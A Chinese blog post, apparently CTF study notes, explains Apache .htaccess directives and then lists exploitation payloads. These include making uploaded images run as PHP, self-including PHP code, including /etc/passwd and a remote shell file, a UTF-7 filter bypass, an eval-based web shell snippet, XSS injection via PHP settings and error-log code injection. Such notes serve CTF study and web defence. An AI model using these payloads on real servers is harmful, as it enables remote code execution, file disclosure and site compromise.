Apache .htaccess

sec

Apache .htaccess

.htaccess是什么?

.htaccess是一个配置文件,用来运行Apache Web Server的Web服务器。当 .htaccess 文件被放置在一个目录中时,该目录又“通过 Apache Web 服务器加载”,然后 .htaccess 文件被 Apache Web 服务器软件检测并执行。

.htaccess文件所在的目录及其所有子目录,若要启动.htaccess配置文件,我们需要在服务器的主配置文件将 AllowOverride 设置为 All。

AllowOverride All #启动.htaccess文件的使用


常用字段

自定义出错误页面

向网站访问者显示友好的错误信息,不定义htaccess会显示404 File Not Found,定义htaccess可以显示自定义文件。

先自定义错误的回显文件。

1
ErrorDocument 404 /error_pages/404.html

告诉Apache服务器在发生404的时候显示 /error_pages/404html。

津门杯的UploadHub就出了这个考点的题目。
分析请看链接

1
2
3
4
#附件给出Apache配置
<Directory ~ "/var/www/html/upload/[a-f0-9]{32}/">
php_flag engine off
</Directory>

通过传hataccess,wp如下。

1
2
3
<If "file('/flag')=~ /'''flag{xxxx'''/">
ErrorDocument 404 "test"
</If>

通过不断变换字符,写脚本爆破。

访问控制

限制用户访问目录或文件。

指定限制文件

1
2
3
4
<Files 1.php>
order allow,deny
deny from all
</Files>

限制用户对文件1.php访问,访问1.php,会出现403。

使用通配符指定文件

1
2
3
<Files *.php>
...
</Files>

重定向

重定向能将访问者从网站的文档引导到另一个文档。
创建.htaceess文件

1
Redirect /hacker/ http://www.yourdomain.com/hackers/index.html

将访问hacker的目录,引导到hackers的index.html。

SetHandler

SetHandler指令可以强制所有匹配的文件被一个指定的处理器处理。

1
SetHandler application/x-httpd-php

当前目录以及子目录所有文件将会被当作php解析。

AddHandler

AddHandler 指令可以实现在文件扩展名与特定的处理器之间建立映射。

1
AddHandler cgi-script .xxx

扩展名为 .xxx 的文件作为 CGI 脚本来处理。

AddType

AddType 指令可以将给定的文件扩展名映射到指定的内容类型。

1
AddType application/x-httpd-php .png

会将png为后缀的文件当作php文件解析。

php_value

.htaccess 文件允许你能够控制某个用户从你的站点(通过 PHP)单次上传数据量的大小。

1
2
3
php_value auto_prepend_file 1.txt #在主文件解析之前自动解析#包含1.txt的内容
php_value auto_append_file 2.txt #在主文件解析后自动解析#1.txt的内容

php_flag

php_flag 用来设定布尔值的php 配置指令。可以将engine 设置为0,在本目录和子目录中关闭php 解析,造成源码泄露。

1
php_flag engine 0

zend.multibyte

zend.multibyte

开启时,将使用多字节编码,若使用的是utf-8则无需开启,自动使用

zend.script_encoding

zend.script_encoding

设置脚本使用的编码

engine

engine

是否启用php解析引擎,关闭时,访问php文件将不被执行,而是直接显示出源码


.htaccess文件利用。

htaccess 文件中,可利用 \ 和 换行绕过 waf 或关键字过滤

Add\

Type

脚本代码执行

1
2
php_value auto_append_file .htaccess
#<?php phpinfo();

如果auto_append_file包含的文件存在脚本语言,则会被执行,这里直接包含了上传的.htaccess文件,同时该文件中含有php代码,则最终会被执行

# 号在 .htaccess 文件中为注释符

利用404页面

1
2
3
<If "file('/flag')=~ /'''flag{xxxx'''/">
ErrorDocument 404 "test"
</If>

通过不断变换字符,刷新到flag{。

文件包含

本地文件包含

当前目录php文件头引入/etc/passwd。

1
php_value auto_append_file /etc/passwd

使作用范围内的php文件在文件头/尾自动include指定文件,支持php伪协议,.htaccess可以设置
php_value include_path “xxx” 将 include() 的默认路径改变。

1
php_value include_path "xxx"

远程文件包含

PHP 的 all_url_include配置选项这个选项默认是关闭的,如果开启的话就可以远程包含。因为 all_url_include 的配置范围为 PHP_INI_SYSTEM,所以无法利用 php_flag 在 .htaccess 中开启。

1
php_value auto_append_file http://xxxxx.xxxx.xxx/shell.txt

伪协议

打开all_url_fopenall_url_includeon

1
2
1.php_value auto_append_file data://text/plain;base64,bDNpZmUK
2.php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.txt"

后缀绕过

目标开启.htaccess并且上传黑名单没有限制.htaccess文件,先上传.hataccess文件,对目标环境的目录进行相关配置,在上传图片,使图片的 PHP 恶意代码得以被直接解析执行。

  1. SetHandler指令

    1
    2
    3
    <FilesMatch "1.png">
    SetHandler application/x-httpd-php
    </FilesMatch>
  2. AddType指定

    1
    2
    AddType application/x-httpd-php .png
    // 将.png当作php文件解析
  3. AddHandler

    1
    2
    3
    AddHandler php5-script .txt
    php_value auto_append_file 1.txt
    // 不能直接访问,访问任意文件包含

UTF7 绕过

将文件以 UTF7 编码执行,用于绕过文件内容检测过滤

1
2
3
4
php_flag zend.multibyte 1
php_value zend.script_encoding "UTF-7"
php_value auto_append_file .htaccess
#+ADw?php phpinfo()+ADs?+AD4-

UTF7 编码可使用以下代码得到:

1
2
3
4
<?php
$filename = "php://filter/write=convert.iconv.utf-8.utf-7/resource=y4.txt"; //utf-16le编码写入文件

file_put_contents($filename, "<?php phpinfo();?>");
1
2
mb_convert_encoding('<?php eval($_GET[\'cmd\']); ?>',"utf-7");

XSS攻击

利用报错 XSS 攻击

.htaccess

1
2
3
php_flag display_errors 1
php_flag html_errors 1
php_value docref_root "'><script>alert(1);</script>"

然后访问一个存在错误的 php 文件即可触发脚本执行

原理分析:

display_errors 1 # 开启显示报错信息

html_errors 1 # 使用 html 标签显示报错信息,错误信息中含有 a 超链接,指引用户访问错误描述文档。

docref_root ,是用户指定的本地文档地址,您可以将文档下载到服务器,然后通过该参数,将错误描述信息的超链接替换为这个地址,而构造的 url 实现 XSS 攻击。

另有 docref_ext 可以指定文档后缀名,例如:docref_ext=.html

利用 highlight XSS

通过.hataccess文件设定highlight.comment,指定高亮内容,进行XSS。

原理同 报错 XSS,生成 颜色 的html 标签

1
<span style="color: INJECTION">

设置的.hataccess文件。

1
php_value highlight.comment '"><script>alert(/xss/);</script>'

代码高亮颜色配置

参考资料

highlight.comment

highlight.bg

highlight.default

highlight.html

highlight.keyword

highlight.string

error_log 和 include_path 执行

利用 error_log 指定错误日志,在 include 时,构造包含 php 代码的 payload,访问错误日志,导致解析执行。

.htaccess

1
2
php_value error_log /var/www/html/flag.php
php_value include_path "<?php phpinfo();"

访问包含 include 的 php 时,包含了一个不存在的文件,导致报错,报错中会显示错误语句并输出到指定的日志文件中,访问 flag.php ,将导致语句执行。

实操时,发现脚本不执行,字符被转义,需搭配编码绕过

1
2
3
4
5
6
php_value error_log /var/www/html/flag.php
php_value include_path "+ADw?php phpinfo()+ADs?+AD4-"
php_flag zend.multibyte 1
# 设置是否使用多字节编码
php_value zend.script_encoding "UTF-7"
# 设置脚本使用的编码

Bypass

绕过关键字过滤

使用反斜杠\加换行实现。题目过滤type、php等敏感字符。

1
2
3
4
5
AddTy\
pe application/x-httpd--ph\
p 1.png
# 即: AddType application/x-httpd-php 1.png

绕过脏字符

使用#\绕过.hataccess。由于脏字符不属于.hataccess文件的语法或指定,使文件不生效,使用#对脏字符进行注释。
可以参考[XNUCA2019Qualifier]EasyPHP WP链接

Author: 哒琳

Permalink: http://blog.jieis.cn/2022/e6433f20-f91c-4cac-856d-e6701f43a31d.html

Comments